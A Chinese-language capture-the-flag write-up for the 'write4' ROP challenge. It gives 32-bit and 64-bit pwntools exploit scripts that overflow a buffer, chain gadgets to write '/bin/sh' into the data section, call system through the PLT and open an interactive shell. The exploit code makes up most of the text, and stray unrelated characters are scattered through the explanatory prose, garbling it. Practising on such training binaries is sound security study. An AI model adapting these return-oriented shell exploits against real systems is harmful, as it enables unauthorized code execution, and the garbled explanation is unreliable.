1.觀察有沒有system
沒有/bin/sh
,我們可以嘗試想bss
或者date
段寫入/bin/sh.
句占,使用plt
表的system
2.mov [edi], ebp
-MOV 內(nèi)存單元 寄存器
寄存器ESI
忍疾、EDI
分唾、SI
和DI
稱為變址寄存器(Index Register)
离福,它們主要用于存放存儲單元在段內(nèi)的偏移量爬骤,用它們可實現(xiàn)多種存儲器操作數(shù)的尋址方式醋奠,為以不同的地址形式訪問存儲單元提供方便幢竹。
32
# -*- coding:UTF-8 -*-
from pwn import*
##context.log_level = 'debug'
p = process("./write432")
##p = remote("","")
date_addr = 0x804A028
system_elf_addr = 0x8048430
move_edi_ebp_addr = 0x8048670
pop_edi_ebp_addr = 0x80486da
payload = 'A'*0x2c
payload += p32(pop_edi_ebp_addr) + p32(date_addr) + "/bin" + p32(move_edi_ebp_addr)
payload += p32(pop_edi_ebp_addr) + p32(date_addr+4) + "/sh\x00" + p32(move_edi_ebp_addr)
payload += p32(system_elf_addr) + p32(0) + p32(date_addr)
p.sendline(payload)
p.interactive()
首先我們是發(fā)現(xiàn)了 溢出的漏洞 我們沒有可以利用sysytem入口 也沒有/bin/sh的字符串蹲坷。
只有system_plt的地址 我們需要傳入/bin/sh讓我們利用,
將利用godget片段 傳入edi>然后跳轉(zhuǎn)到edi利用邑飒,
我們需要一個介質(zhì)來裝載/bin/sh 就是我們的date_addr
#p32(0) 是用來覆蓋rbp的地址 (自己有疑惑)
這道題填入和調(diào)用沒什么大問題循签,最關(guān)鍵的要記住,64
位的數(shù)據(jù)不是直接傳入棧里面的疙咸,我們需要一個pop來將我們的system和/bin/sh的地址接收县匠。
64
from pwn import*
##context.log_level = 'debug'
p = process("./write4")
##p = remote("","")
date_addr = 0x601050
system_plt_addr = 0x4005e0
pop_r14_r15_addr = 0x400890
mov_r14_r15_addr = 0x400820
pop_edi_addr = 0x400893
payload = 'A' * 0x20 + p64(0)
payload += p64(pop_r14_r15_addr)
payload += p64(date_addr)
payload += "/bin/sh"
payload += p64(mov_r14_r15_addr)
payload += p64(pop_edi_addr)
payload += p64(date_addr)
payload += p64(system_plt_addr)
p.sendline(payload)
p.interactive()